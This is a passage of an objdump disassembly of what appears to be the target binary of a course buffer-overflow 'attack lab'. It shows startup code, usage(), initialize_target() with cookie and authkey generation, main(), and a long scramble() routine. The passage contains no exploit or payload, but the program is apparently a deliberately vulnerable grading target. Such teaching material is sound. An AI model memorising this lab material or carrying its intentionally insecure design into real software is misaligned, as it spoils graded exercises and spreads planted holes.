400e93: 48 89 c2 mov %rax,%rdx

400e96: 48 c1 ea 3f shr $0x3f,%rdx

400e9a: 48 01 d0 add %rdx,%rax

400e9d: 48 d1 f8 sar %rax

400ea0: 75 02 jne 400ea4 <register\_tm\_clones+0x24>

400ea2: 5d pop %rbp

400ea3: c3 retq

400ea4: ba 00 00 00 00 mov $0x0,%edx

400ea9: 48 85 d2 test %rdx,%rdx

400eac: 74 f4 je 400ea2 <register\_tm\_clones+0x22>

400eae: 5d pop %rbp

400eaf: 48 89 c6 mov %rax,%rsi

400eb2: bf b0 44 60 00 mov $0x6044b0,%edi

400eb7: ff e2 jmpq \*%rdx

400eb9: 0f 1f 80 00 00 00 00 nopl 0x0(%rax)

0000000000400ec0 <\_\_do\_global\_dtors\_aux>:

400ec0: 80 3d 11 36 20 00 00 cmpb $0x0,0x203611(%rip) # 6044d8 <completed.6354>

400ec7: 75 11 jne 400eda <\_\_do\_global\_dtors\_aux+0x1a>

400ec9: 55 push %rbp

400eca: 48 89 e5 mov %rsp,%rbp

400ecd: e8 7e ff ff ff callq 400e50 <deregister\_tm\_clones>

400ed2: 5d pop %rbp

400ed3: c6 05 fe 35 20 00 01 movb $0x1,0x2035fe(%rip) # 6044d8 <completed.6354>

400eda: f3 c3 repz retq

400edc: 0f 1f 40 00 nopl 0x0(%rax)

0000000000400ee0 <frame\_dummy>:

400ee0: 48 83 3d 38 2f 20 00 cmpq $0x0,0x202f38(%rip) # 603e20 <\_\_JCR\_END\_\_>

400ee7: 00

400ee8: 74 1e je 400f08 <frame\_dummy+0x28>

400eea: b8 00 00 00 00 mov $0x0,%eax

400eef: 48 85 c0 test %rax,%rax

400ef2: 74 14 je 400f08 <frame\_dummy+0x28>

400ef4: 55 push %rbp

400ef5: bf 20 3e 60 00 mov $0x603e20,%edi

400efa: 48 89 e5 mov %rsp,%rbp

400efd: ff d0 callq \*%rax

400eff: 5d pop %rbp

400f00: e9 7b ff ff ff jmpq 400e80 <register\_tm\_clones>

400f05: 0f 1f 00 nopl (%rax)

400f08: e9 73 ff ff ff jmpq 400e80 <register\_tm\_clones>

400f0d: 0f 1f 00 nopl (%rax)

0000000000400f10 <usage>:

400f10: 48 83 ec 08 sub $0x8,%rsp

400f14: 48 89 fe mov %rdi,%rsi

400f17: 83 3d ea 35 20 00 00 cmpl $0x0,0x2035ea(%rip) # 604508 <is\_checker>

400f1e: 74 39 je 400f59 <usage+0x49>

400f20: bf 10 2c 40 00 mov $0x402c10,%edi

400f25: b8 00 00 00 00 mov $0x0,%eax

400f2a: e8 51 fd ff ff callq 400c80 <printf@plt>

400f2f: bf 48 2c 40 00 mov $0x402c48,%edi

400f34: e8 17 fd ff ff callq 400c50 <puts@plt>

400f39: bf c0 2d 40 00 mov $0x402dc0,%edi

400f3e: e8 0d fd ff ff callq 400c50 <puts@plt>

400f43: bf 70 2c 40 00 mov $0x402c70,%edi

400f48: e8 03 fd ff ff callq 400c50 <puts@plt>

400f4d: bf da 2d 40 00 mov $0x402dda,%edi

400f52: e8 f9 fc ff ff callq 400c50 <puts@plt>

400f57: eb 2d jmp 400f86 <usage+0x76>

400f59: bf f6 2d 40 00 mov $0x402df6,%edi

400f5e: b8 00 00 00 00 mov $0x0,%eax

400f63: e8 18 fd ff ff callq 400c80 <printf@plt>

400f68: bf 98 2c 40 00 mov $0x402c98,%edi

400f6d: e8 de fc ff ff callq 400c50 <puts@plt>

400f72: bf c0 2c 40 00 mov $0x402cc0,%edi

400f77: e8 d4 fc ff ff callq 400c50 <puts@plt>

400f7c: bf 14 2e 40 00 mov $0x402e14,%edi

400f81: e8 ca fc ff ff callq 400c50 <puts@plt>

400f86: bf 00 00 00 00 mov $0x0,%edi

400f8b: e8 60 fe ff ff callq 400df0 <exit@plt>

0000000000400f90 <initialize\_target>:

400f90: 55 push %rbp

400f91: 53 push %rbx

400f92: 48 81 ec 08 21 00 00 sub $0x2108,%rsp

400f99: 89 f5 mov %esi,%ebp

400f9b: 89 3d 57 35 20 00 mov %edi,0x203557(%rip) # 6044f8 <check\_level>

400fa1: 8b 3d c1 31 20 00 mov 0x2031c1(%rip),%edi # 604168 <target\_id>

400fa7: e8 a7 1b 00 00 callq 402b53 <gencookie>

400fac: 89 05 52 35 20 00 mov %eax,0x203552(%rip) # 604504 <cookie>

400fb2: 89 c7 mov %eax,%edi

400fb4: e8 9a 1b 00 00 callq 402b53 <gencookie>

400fb9: 89 05 41 35 20 00 mov %eax,0x203541(%rip) # 604500 <authkey>

400fbf: 8b 05 a3 31 20 00 mov 0x2031a3(%rip),%eax # 604168 <target\_id>

400fc5: 8d 78 01 lea 0x1(%rax),%edi

400fc8: e8 53 fc ff ff callq 400c20 <srandom@plt>

400fcd: e8 7e fd ff ff callq 400d50 <random@plt>

400fd2: 89 c7 mov %eax,%edi

400fd4: e8 ca 02 00 00 callq 4012a3 <scramble>

400fd9: 89 c3 mov %eax,%ebx

400fdb: 85 ed test %ebp,%ebp

400fdd: 74 18 je 400ff7 <initialize\_target+0x67>

400fdf: bf 00 00 00 00 mov $0x0,%edi

400fe4: e8 57 fd ff ff callq 400d40 <time@plt>

400fe9: 89 c7 mov %eax,%edi

400feb: e8 30 fc ff ff callq 400c20 <srandom@plt>

400ff0: e8 5b fd ff ff callq 400d50 <random@plt>

400ff5: eb 05 jmp 400ffc <initialize\_target+0x6c>

400ff7: b8 00 00 00 00 mov $0x0,%eax

400ffc: 01 c3 add %eax,%ebx

400ffe: 0f b7 db movzwl %bx,%ebx

401001: 8d 04 dd 00 01 00 00 lea 0x100(,%rbx,8),%eax

401008: 89 c0 mov %eax,%eax

40100a: 48 89 05 8f 34 20 00 mov %rax,0x20348f(%rip) # 6044a0 <buf\_offset>

401011: c6 05 10 41 20 00 63 movb $0x63,0x204110(%rip) # 605128 <target\_prefix>

401018: 83 3d 89 34 20 00 00 cmpl $0x0,0x203489(%rip) # 6044a8 <notify>

40101f: 0f 84 b1 00 00 00 je 4010d6 <initialize\_target+0x146>

401025: 83 3d dc 34 20 00 00 cmpl $0x0,0x2034dc(%rip) # 604508 <is\_checker>

40102c: 0f 85 a4 00 00 00 jne 4010d6 <initialize\_target+0x146>

401032: be 00 01 00 00 mov $0x100,%esi

401037: 48 89 e7 mov %rsp,%rdi

40103a: e8 91 fd ff ff callq 400dd0 <gethostname@plt>

40103f: 85 c0 test %eax,%eax

401041: 74 25 je 401068 <initialize\_target+0xd8>

401043: bf f0 2c 40 00 mov $0x402cf0,%edi

401048: e8 03 fc ff ff callq 400c50 <puts@plt>

40104d: bf 08 00 00 00 mov $0x8,%edi

401052: e8 99 fd ff ff callq 400df0 <exit@plt>

401057: 48 89 e6 mov %rsp,%rsi

40105a: e8 a1 fb ff ff callq 400c00 <strcasecmp@plt>

40105f: 85 c0 test %eax,%eax

401061: 74 21 je 401084 <initialize\_target+0xf4>

401063: 83 c3 01 add $0x1,%ebx

401066: eb 05 jmp 40106d <initialize\_target+0xdd>

401068: bb 00 00 00 00 mov $0x0,%ebx

40106d: 48 63 c3 movslq %ebx,%rax

401070: 48 8b 3c c5 80 41 60 mov 0x604180(,%rax,8),%rdi

401077: 00

401078: 48 85 ff test %rdi,%rdi

40107b: 75 da jne 401057 <initialize\_target+0xc7>

40107d: b8 00 00 00 00 mov $0x0,%eax

401082: eb 05 jmp 401089 <initialize\_target+0xf9>

401084: b8 01 00 00 00 mov $0x1,%eax

401089: 85 c0 test %eax,%eax

40108b: 75 17 jne 4010a4 <initialize\_target+0x114>

40108d: 48 89 e6 mov %rsp,%rsi

401090: bf 28 2d 40 00 mov $0x402d28,%edi

401095: e8 e6 fb ff ff callq 400c80 <printf@plt>

40109a: bf 08 00 00 00 mov $0x8,%edi

40109f: e8 4c fd ff ff callq 400df0 <exit@plt>

4010a4: 48 8d bc 24 00 01 00 lea 0x100(%rsp),%rdi

4010ab: 00

4010ac: e8 39 18 00 00 callq 4028ea <init\_driver>

4010b1: 85 c0 test %eax,%eax

4010b3: 79 21 jns 4010d6 <initialize\_target+0x146>

4010b5: 48 8d b4 24 00 01 00 lea 0x100(%rsp),%rsi

4010bc: 00

4010bd: bf 68 2d 40 00 mov $0x402d68,%edi

4010c2: b8 00 00 00 00 mov $0x0,%eax

4010c7: e8 b4 fb ff ff callq 400c80 <printf@plt>

4010cc: bf 08 00 00 00 mov $0x8,%edi

4010d1: e8 1a fd ff ff callq 400df0 <exit@plt>

4010d6: 48 81 c4 08 21 00 00 add $0x2108,%rsp

4010dd: 5b pop %rbx

4010de: 5d pop %rbp

4010df: c3 retq

00000000004010e0 <main>:

4010e0: 41 56 push %r14

4010e2: 41 55 push %r13

4010e4: 41 54 push %r12

4010e6: 55 push %rbp

4010e7: 53 push %rbx

4010e8: 41 89 fc mov %edi,%r12d

4010eb: 48 89 f3 mov %rsi,%rbx

4010ee: be 11 1d 40 00 mov $0x401d11,%esi

4010f3: bf 0b 00 00 00 mov $0xb,%edi

4010f8: e8 e3 fb ff ff callq 400ce0 <signal@plt>

4010fd: be c3 1c 40 00 mov $0x401cc3,%esi

401102: bf 07 00 00 00 mov $0x7,%edi

401107: e8 d4 fb ff ff callq 400ce0 <signal@plt>

40110c: be 5f 1d 40 00 mov $0x401d5f,%esi

401111: bf 04 00 00 00 mov $0x4,%edi

401116: e8 c5 fb ff ff callq 400ce0 <signal@plt>

40111b: 83 3d e6 33 20 00 00 cmpl $0x0,0x2033e6(%rip) # 604508 <is\_checker>

401122: 74 20 je 401144 <main+0x64>

401124: be ad 1d 40 00 mov $0x401dad,%esi

401129: bf 0e 00 00 00 mov $0xe,%edi

40112e: e8 ad fb ff ff callq 400ce0 <signal@plt>

401133: bf 05 00 00 00 mov $0x5,%edi

401138: e8 63 fb ff ff callq 400ca0 <alarm@plt>

40113d: bd 32 2e 40 00 mov $0x402e32,%ebp

401142: eb 05 jmp 401149 <main+0x69>

401144: bd 2d 2e 40 00 mov $0x402e2d,%ebp

401149: 48 8b 05 70 33 20 00 mov 0x203370(%rip),%rax # 6044c0 <stdin@@GLIBC\_2.2.5>

401150: 48 89 05 99 33 20 00 mov %rax,0x203399(%rip) # 6044f0 <infile>

401157: 41 bd 00 00 00 00 mov $0x0,%r13d

40115d: 41 be 00 00 00 00 mov $0x0,%r14d

401163: e9 b9 00 00 00 jmpq 401221 <main+0x141>

401168: 83 e8 61 sub $0x61,%eax

40116b: 3c 10 cmp $0x10,%al

40116d: 0f 87 93 00 00 00 ja 401206 <main+0x126>

401173: 0f b6 c0 movzbl %al,%eax

401176: ff 24 c5 78 2e 40 00 jmpq \*0x402e78(,%rax,8)

40117d: 48 8b 3b mov (%rbx),%rdi

401180: e8 8b fd ff ff callq 400f10 <usage>

401185: be 0d 31 40 00 mov $0x40310d,%esi

40118a: 48 8b 3d 37 33 20 00 mov 0x203337(%rip),%rdi # 6044c8 <optarg@@GLIBC\_2.2.5>

401191: e8 0a fc ff ff callq 400da0 <fopen@plt>

401196: 48 89 05 53 33 20 00 mov %rax,0x203353(%rip) # 6044f0 <infile>

40119d: 48 85 c0 test %rax,%rax

4011a0: 75 7f jne 401221 <main+0x141>

4011a2: 48 8b 15 1f 33 20 00 mov 0x20331f(%rip),%rdx # 6044c8 <optarg@@GLIBC\_2.2.5>

4011a9: be 3a 2e 40 00 mov $0x402e3a,%esi

4011ae: 48 8b 3d 1b 33 20 00 mov 0x20331b(%rip),%rdi # 6044d0 <stderr@@GLIBC\_2.2.5>

4011b5: e8 46 fb ff ff callq 400d00 <fprintf@plt>

4011ba: b8 01 00 00 00 mov $0x1,%eax

4011bf: e9 d6 00 00 00 jmpq 40129a <main+0x1ba>

4011c4: ba 10 00 00 00 mov $0x10,%edx

4011c9: be 00 00 00 00 mov $0x0,%esi

4011ce: 48 8b 3d f3 32 20 00 mov 0x2032f3(%rip),%rdi # 6044c8 <optarg@@GLIBC\_2.2.5>

4011d5: e8 e6 fb ff ff callq 400dc0 <strtoul@plt>

4011da: 41 89 c6 mov %eax,%r14d

4011dd: eb 42 jmp 401221 <main+0x141>

4011df: ba 0a 00 00 00 mov $0xa,%edx

4011e4: be 00 00 00 00 mov $0x0,%esi

4011e9: 48 8b 3d d8 32 20 00 mov 0x2032d8(%rip),%rdi # 6044c8 <optarg@@GLIBC\_2.2.5>

4011f0: e8 2b fb ff ff callq 400d20 <strtol@plt>

4011f5: 41 89 c5 mov %eax,%r13d

4011f8: eb 27 jmp 401221 <main+0x141>

4011fa: c7 05 a4 32 20 00 00 movl $0x0,0x2032a4(%rip) # 6044a8 <notify>

401201: 00 00 00

401204: eb 1b jmp 401221 <main+0x141>

401206: 40 0f be f6 movsbl %sil,%esi

40120a: bf 57 2e 40 00 mov $0x402e57,%edi

40120f: b8 00 00 00 00 mov $0x0,%eax

401214: e8 67 fa ff ff callq 400c80 <printf@plt>

401219: 48 8b 3b mov (%rbx),%rdi

40121c: e8 ef fc ff ff callq 400f10 <usage>

401221: 48 89 ea mov %rbp,%rdx

401224: 48 89 de mov %rbx,%rsi

401227: 44 89 e7 mov %r12d,%edi

40122a: e8 81 fb ff ff callq 400db0 <getopt@plt>

40122f: 89 c6 mov %eax,%esi

401231: 3c ff cmp $0xff,%al

401233: 0f 85 2f ff ff ff jne 401168 <main+0x88>

401239: be 00 00 00 00 mov $0x0,%esi

40123e: 44 89 ef mov %r13d,%edi

401241: e8 4a fd ff ff callq 400f90 <initialize\_target>

401246: 83 3d bb 32 20 00 00 cmpl $0x0,0x2032bb(%rip) # 604508 <is\_checker>

40124d: 74 25 je 401274 <main+0x194>

40124f: 44 3b 35 aa 32 20 00 cmp 0x2032aa(%rip),%r14d # 604500 <authkey>

401256: 74 1c je 401274 <main+0x194>

401258: 44 89 f6 mov %r14d,%esi

40125b: bf 90 2d 40 00 mov $0x402d90,%edi

401260: b8 00 00 00 00 mov $0x0,%eax

401265: e8 16 fa ff ff callq 400c80 <printf@plt>

40126a: b8 00 00 00 00 mov $0x0,%eax

40126f: e8 57 07 00 00 callq 4019cb <check\_fail>

401274: 8b 35 8a 32 20 00 mov 0x20328a(%rip),%esi # 604504 <cookie>

40127a: bf 6a 2e 40 00 mov $0x402e6a,%edi

40127f: b8 00 00 00 00 mov $0x0,%eax

401284: e8 f7 f9 ff ff callq 400c80 <printf@plt>

401289: 48 8b 3d 10 32 20 00 mov 0x203210(%rip),%rdi # 6044a0 <buf\_offset>

401290: e8 e7 0b 00 00 callq 401e7c <stable\_launch>

401295: b8 00 00 00 00 mov $0x0,%eax

40129a: 5b pop %rbx

40129b: 5d pop %rbp

40129c: 41 5c pop %r12

40129e: 41 5d pop %r13

4012a0: 41 5e pop %r14

4012a2: c3 retq

00000000004012a3 <scramble>:

4012a3: b8 00 00 00 00 mov $0x0,%eax

4012a8: eb 11 jmp 4012bb <scramble+0x18>

4012aa: 69 c8 0e d5 00 00 imul $0xd50e,%eax,%ecx

4012b0: 01 f9 add %edi,%ecx

4012b2: 89 c2 mov %eax,%edx

4012b4: 89 4c 94 d0 mov %ecx,-0x30(%rsp,%rdx,4)

4012b8: 83 c0 01 add $0x1,%eax

4012bb: 83 f8 09 cmp $0x9,%eax

4012be: 76 ea jbe 4012aa <scramble+0x7>

4012c0: 8b 44 24 f0 mov -0x10(%rsp),%eax

4012c4: 69 c0 11 aa 00 00 imul $0xaa11,%eax,%eax

4012ca: 89 44 24 f0 mov %eax,-0x10(%rsp)

4012ce: 8b 44 24 e8 mov -0x18(%rsp),%eax

4012d2: 69 c0 c9 29 00 00 imul $0x29c9,%eax,%eax

4012d8: 89 44 24 e8 mov %eax,-0x18(%rsp)

4012dc: 8b 44 24 f0 mov -0x10(%rsp),%eax

4012e0: 69 c0 f0 ab 00 00 imul $0xabf0,%eax,%eax

4012e6: 89 44 24 f0 mov %eax,-0x10(%rsp)

4012ea: 8b 44 24 f4 mov -0xc(%rsp),%eax

4012ee: 69 c0 0c 14 00 00 imul $0x140c,%eax,%eax

4012f4: 89 44 24 f4 mov %eax,-0xc(%rsp)

4012f8: 8b 44 24 e4 mov -0x1c(%rsp),%eax

4012fc: 69 c0 72 2b 00 00 imul $0x2b72,%eax,%eax

401302: 89 44 24 e4 mov %eax,-0x1c(%rsp)

401306: 8b 44 24 dc mov -0x24(%rsp),%eax

40130a: 69 c0 0d 87 00 00 imul $0x870d,%eax,%eax

401310: 89 44 24 dc mov %eax,-0x24(%rsp)

401314: 8b 44 24 e4 mov -0x1c(%rsp),%eax

401318: 69 c0 01 34 00 00 imul $0x3401,%eax,%eax

40131e: 89 44 24 e4 mov %eax,-0x1c(%rsp)

401322: 8b 44 24 e0 mov -0x20(%rsp),%eax

401326: 69 c0 3f b5 00 00 imul $0xb53f,%eax,%eax

40132c: 89 44 24 e0 mov %eax,-0x20(%rsp)

401330: 8b 44 24 f4 mov -0xc(%rsp),%eax

401334: 69 c0 59 5b 00 00 imul $0x5b59,%eax,%eax

40133a: 89 44 24 f4 mov %eax,-0xc(%rsp)

40133e: 8b 44 24 d8 mov -0x28(%rsp),%eax

401342: 69 c0 ba 87 00 00 imul $0x87ba,%eax,%eax

401348: 89 44 24 d8 mov %eax,-0x28(%rsp)

40134c: 8b 44 24 dc mov -0x24(%rsp),%eax

401350: 69 c0 0f 7b 00 00 imul $0x7b0f,%eax,%eax

401356: 89 44 24 dc mov %eax,-0x24(%rsp)

40135a: 8b 44 24 e8 mov -0x18(%rsp),%eax

40135e: 69 c0 85 c5 00 00 imul $0xc585,%eax,%eax

401364: 89 44 24 e8 mov %eax,-0x18(%rsp)

401368: 8b 44 24 e4 mov -0x1c(%rsp),%eax

40136c: 69 c0 d9 5c 00 00 imul $0x5cd9,%eax,%eax

401372: 89 44 24 e4 mov %eax,-0x1c(%rsp)

401376: 8b 44 24 e0 mov -0x20(%rsp),%eax

40137a: 69 c0 5b 0e 00 00 imul $0xe5b,%eax,%eax

401380: 89 44 24 e0 mov %eax,-0x20(%rsp)

401384: 8b 44 24 e4 mov -0x1c(%rsp),%eax

401388: 69 c0 a6 36 00 00 imul $0x36a6,%eax,%eax

40138e: 89 44 24 e4 mov %eax,-0x1c(%rsp)

401392: 8b 44 24 d4 mov -0x2c(%rsp),%eax

401396: 69 c0 00 78 00 00 imul $0x7800,%eax,%eax

40139c: 89 44 24 d4 mov %eax,-0x2c(%rsp)

4013a0: 8b 44 24 f0 mov -0x10(%rsp),%eax

4013a4: 69 c0 7d 8a 00 00 imul $0x8a7d,%eax,%eax

4013aa: 89 44 24 f0 mov %eax,-0x10(%rsp)

4013ae: 8b 44 24 e4 mov -0x1c(%rsp),%eax

4013b2: 69 c0 4b 31 00 00 imul $0x314b,%eax,%eax

4013b8: 89 44 24 e4 mov %eax,-0x1c(%rsp)

4013bc: 8b 44 24 d8 mov -0x28(%rsp),%eax

4013c0: 69 c0 28 e7 00 00 imul $0xe728,%eax,%eax

4013c6: 89 44 24 d8 mov %eax,-0x28(%rsp)

4013ca: 8b 44 24 e8 mov -0x18(%rsp),%eax

4013ce: 69 c0 be f5 00 00 imul $0xf5be,%eax,%eax

4013d4: 89 44 24 e8 mov %eax,-0x18(%rsp)

4013d8: 8b 44 24 d0 mov -0x30(%rsp),%eax

4013dc: 69 c0 77 48 00 00 imul $0x4877,%eax,%eax

4013e2: 89 44 24 d0 mov %eax,-0x30(%rsp)

4013e6: 8b 44 24 f0 mov -0x10(%rsp),%eax

4013ea: 69 c0 66 30 00 00 imul $0x3066,%eax,%eax

4013f0: 89 44 24 f0 mov %eax,-0x10(%rsp)

4013f4: 8b 44 24 dc mov -0x24(%rsp),%eax

4013f8: 69 c0 7b 7d 00 00 imul $0x7d7b,%eax,%eax

4013fe: 89 44 24 dc mov %eax,-0x24(%rsp)

401402: 8b 44 24 d0 mov -0x30(%rsp),%eax

401406: 69 c0 90 02 00 00 imul $0x290,%eax,%eax

40140c: 89 44 24 d0 mov %eax,-0x30(%rsp)

401410: 8b 44 24 e8 mov -0x18(%rsp),%eax

401414: 69 c0 bf 8a 00 00 imul $0x8abf,%eax,%eax

40141a: 89 44 24 e8 mov %eax,-0x18(%rsp)

40141e: 8b 44 24 e8 mov -0x18(%rsp),%eax

401422: 69 c0 b7 8b 00 00 imul $0x8bb7,%eax,%eax

401428: 89 44 24 e8 mov %eax,-0x18(%rsp)

40142c: 8b 44 24 d8 mov -0x28(%rsp),%eax

401430: 69 c0 ba 97 00 00 imul $0x97ba,%eax,%eax

401436: 89 44 24 d8 mov %eax,-0x28(%rsp)

40143a: 8b 44 24 d4 mov -0x2c(%rsp),%eax

40143e: 69 c0 65 bb 00 00 imul $0xbb65,%eax,%eax

401444: 89 44 24 d4 mov %eax,-0x2c(%rsp)

401448: 8b 44 24 d8 mov -0x28(%rsp),%eax

40144c: 69 c0 28 0a 00 00 imul $0xa28,%eax,%eax

401452: 89 44 24 d8 mov %eax,-0x28(%rsp)

401456: 8b 44 24 d8 mov -0x28(%rsp),%eax

40145a: 69 c0 85 97 00 00 imul $0x9785,%eax,%eax

401460: 89 44 24 d8 mov %eax,-0x28(%rsp)

401464: 8b 44 24 f4 mov -0xc(%rsp),%eax

401468: 69 c0 87 31 00 00 imul $0x3187,%eax,%eax

40146e: 89 44 24 f4 mov %eax,-0xc(%rsp)

401472: 8b 44 24 d0 mov -0x30(%rsp),%eax

401476: 69 c0 85 21 00 00 imul $0x2185,%eax,%eax

40147c: 89 44 24 d0 mov %eax,-0x30(%rsp)

401480: 8b 44 24 e0 mov -0x20(%rsp),%eax

401484: 69 c0 4f b1 00 00 imul $0xb14f,%eax,%eax

40148a: 89 44 24 e0 mov %eax,-0x20(%rsp)

40148e: 8b 44 24 e4 mov -0x1c(%rsp),%eax

401492: 69 c0 71 f2 00 00 imul $0xf271,%eax,%eax

401498: 89 44 24 e4 mov %eax,-0x1c(%rsp)

40149c: 8b 44 24 f4 mov -0xc(%rsp),%eax

4014a0: 69 c0 28 98 00 00 imul $0x9828,%eax,%eax

4014a6: 89 44 24 f4 mov %eax,-0xc(%rsp)

4014aa: 8b 44 24 e4 mov -0x1c(%rsp),%eax

4014ae: 69 c0 12 ab 00 00 imul $0xab12,%eax,%eax

4014b4: 89 44 24 e4 mov %eax,-0x1c(%rsp)

4014b8: 8b 44 24 e8 mov -0x18(%rsp),%eax

4014bc: 69 c0 fb 64 00 00 imul $0x64fb,%eax,%eax

4014c2: 89 44 24 e8 mov %eax,-0x18(%rsp)

4014c6: 8b 44 24 ec mov -0x14(%rsp),%eax

4014ca: 69 c0 17 5d 00 00 imul $0x5d17,%eax,%eax

4014d0: 89 44 24 ec mov %eax,-0x14(%rsp)

4014d4: 8b 44 24 ec mov -0x14(%rsp),%eax

4014d8: 69 c0 1d c1 00 00 imul $0xc11d,%eax,%eax

4014de: 89 44 24 ec mov %eax,-0x14(%rsp)

4014e2: 8b 44 24 e8 mov -0x18(%rsp),%eax

4014e6: 69 c0 4b bb 00 00 imul $0xbb4b,%eax,%eax

4014ec: 89 44 24 e8 mov %eax,-0x18(%rsp)

4014f0: 8b 44 24 e0 mov -0x20(%rsp),%eax

4014f4: 69 c0 f2 e9 00 00 imul $0xe9f2,%eax,%eax

4014fa: 89 44 24 e0 mov %eax,-0x20(%rsp)

4014fe: 8b 44 24 e8 mov -0x18(%rsp),%eax

401502: 69 c0 ab 51 00 00 imul $0x51ab,%eax,%eax

401508: 89 44 24 e8 mov %eax,-0x18(%rsp)

40150c: 8b 44 24 d0 mov -0x30(%rsp),%eax

401510: 69 c0 3f 98 00 00 imul $0x983f,%eax,%eax

401516: 89 44 24 d0 mov %eax,-0x30(%rsp)

40151a: 8b 44 24 ec mov -0x14(%rsp),%eax

40151e: 69 c0 3f 76 00 00 imul $0x763f,%eax,%eax

401524: 89 44 24 ec mov %eax,-0x14(%rsp)

401528: 8b 44 24 e8 mov -0x18(%rsp),%eax

40152c: 69 c0 d0 d6 00 00 imul $0xd6d0,%eax,%eax

401532: 89 44 24 e8 mov %eax,-0x18(%rsp)

401536: 8b 44 24 f4 mov -0xc(%rsp),%eax

40153a: 69 c0 35 e3 00 00 imul $0xe335,%eax,%eax

401540: 89 44 24 f4 mov %eax,-0xc(%rsp)

401544: 8b 44 24 e0 mov -0x20(%rsp),%eax

401548: 69 c0 49 1d 00 00 imul $0x1d49,%eax,%eax

40154e: 89 44 24 e0 mov %eax,-0x20(%rsp)

401552: 8b 44 24 e4 mov -0x1c(%rsp),%eax

401556: 69 c0 5b c4 00 00 imul $0xc45b,%eax,%eax

40155c: 89 44 24 e4 mov %eax,-0x1c(%rsp)

401560: 8b 44 24 e8 mov -0x18(%rsp),%eax

401564: 69 c0 8a 57 00 00 imul $0x578a,%eax,%eax

40156a: 89 44 24 e8 mov %eax,-0x18(%rsp)

40156e: 8b 44 24 f4 mov -0xc(%rsp),%eax

401572: 69 c0 10 67 00 00 imul $0x6710,%eax,%eax

401578: 89 44 24 f4 mov %eax,-0xc(%rsp)

40157c: 8b 44 24 e0 mov -0x20(%rsp),%eax

401580: 69 c0 fb 9e 00 00 imul $0x9efb,%eax,%eax

401586: 89 44 24 e0 mov %eax,-0x20(%rsp)

40158a: 8b 44 24 f4 mov -0xc(%rsp),%eax

40158e: 69 c0 52 d0 00 00 imul $0xd052,%eax,%eax

401594: 89 44 24 f4 mov %eax,-0xc(%rsp)

401598: 8b 44 24 d0 mov -0x30(%rsp),%eax

40159c: 69 c0 9a ed 00 00 imul $0xed9a,%eax,%eax

4015a2: 89 44 24 d0 mov %eax,-0x30(%rsp)

4015a6: 8b 44 24 d8 mov -0x28(%rsp),%eax

4015aa: 69 c0 6e e6 00 00 imul $0xe66e,%eax,%eax

4015b0: 89 44 24 d8 mov %eax,-0x28(%rsp)

4015b4: 8b 44 24 ec mov -0x14(%rsp),%eax

4015b8: 69 c0 11 8d 00 00 imul $0x8d11,%eax,%eax

4015be: 89 44 24 ec mov %eax,-0x14(%rsp)

4015c2: 8b 44 24 e4 mov -0x1c(%rsp),%eax

4015c6: 69 c0 94 fa 00 00 imul $0xfa94,%eax,%eax

4015cc: 89 44 24 e4 mov %eax,-0x1c(%rsp)

4015d0: 8b 44 24 dc mov -0x24(%rsp),%eax

4015d4: 69 c0 bc e8 00 00 imul $0xe8bc,%eax,%eax

4015da: 89 44 24 dc mov %eax,-0x24(%rsp)

4015de: 8b 44 24 d4 mov -0x2c(%rsp),%eax

4015e2: 69 c0 af f8 00 00 imul $0xf8af,%eax,%eax

4015e8: 89 44 24 d4 mov %eax,-0x2c(%rsp)

4015ec: 8b 44 24 d8 mov -0x28(%rsp),%eax

4015f0: 69 c0 4f 59 00 00 imul $0x594f,%eax,%eax

4015f6: 89 44 24 d8 mov %eax,-0x28(%rsp)

4015fa: 8b 44 24 ec mov -0x14(%rsp),%eax

4015fe: 69 c0 62 23 00 00 imul $0x2362,%eax,%eax

401604: 89 44 24 ec mov %eax,-0x14(%rsp)

401608: 8b 44 24 ec mov -0x14(%rsp),%eax

40160c: 69 c0 b2 7c 00 00 imul $0x7cb2,%eax,%eax

401612: 89 44 24 ec mov %eax,-0x14(%rsp)

401616: 8b 44 24 e8 mov -0x18(%rsp),%eax

40161a: 69 c0 76 38 00 00 imul $0x3876,%eax,%eax

401620: 89 44 24 e8 mov %eax,-0x18(%rsp)

401624: 8b 44 24 f4 mov -0xc(%rsp),%eax

401628: 69 c0 51 0b 00 00 imul $0xb51,%eax,%eax

40162e: 89 44 24 f4 mov %eax,-0xc(%rsp)

401632: 8b 44 24 dc mov -0x24(%rsp),%eax

401636: 69 c0 95 68 00 00 imul $0x6895,%eax,%eax

40163c: 89 44 24 dc mov %eax,-0x24(%rsp)

401640: 8b 44 24 e4 mov -0x1c(%rsp),%eax

401644: 69 c0 9d b3 00 00 imul $0xb39d,%eax,%eax

40164a: 89 44 24 e4 mov %eax,-0x1c(%rsp)

40164e: 8b 44 24 e4 mov -0x1c(%rsp),%eax

401652: 69 c0 8e 52 00 00 imul $0x528e,%eax,%eax

401658: 89 44 24 e4 mov %eax,-0x1c(%rsp)

40165c: 8b 44 24 d4 mov -0x2c(%rsp),%eax

401660: 69 c0 c8 e1 00 00 imul $0xe1c8,%eax,%eax

401666: 89 44 24 d4 mov %eax,-0x2c(%rsp)

40166a: 8b 44 24 e0 mov -0x20(%rsp),%eax

40166e: 69 c0 90 56 00 00 imul $0x5690,%eax,%eax

401674: 89 44 24 e0 mov %eax,-0x20(%rsp)

401678: 8b 44 24 e0 mov -0x20(%rsp),%eax

40167c: 69 c0 4b 50 00 00 imul $0x504b,%eax,%eax

401682: 89 44 24 e0 mov %eax,-0x20(%rsp)

401686: 8b 44 24 d8 mov -0x28(%rsp),%eax

40168a: 69 c0 1a 7e 00 00 imul $0x7e1a,%eax,%eax

401690: 89 44 24 d8 mov %eax,-0x28(%rsp)

401694: 8b 44 24 ec mov -0x14(%rsp),%eax

401698: 69 c0 b7 de 00 00 imul $0xdeb7,%eax,%eax

40169e: 89 44 24 ec mov %eax,-0x14(%rsp)

4016a2: 8b 44 24 e4 mov -0x1c(%rsp),%eax

4016a6: 69 c0 60 54 00 00 imul $0x5460,%eax,%eax

4016ac: 89 44 24 e4 mov %eax,-0x1c(%rsp)

4016b0: 8b 44 24 dc mov -0x24(%rsp),%eax

4016b4: 69 c0 ee c4 00 00 imul $0xc4ee,%eax,%eax

4016ba: 89 44 24 dc mov %eax,-0x24(%rsp)

4016be: 8b 44 24 f0 mov -0x10(%rsp),%eax

4016c2: 69 c0 6e 48 00 00 imul $0x486e,%eax,%eax

4016c8: 89 44 24 f0 mov %eax,-0x10(%rsp)

4016cc: 8b 44 24 e8 mov -0x18(%rsp),%eax

4016d0: 69 c0 fe bb 00 00 imul $0xbbfe,%eax,%eax

4016d6: 89 44 24 e8 mov %eax,-0x18(%rsp)

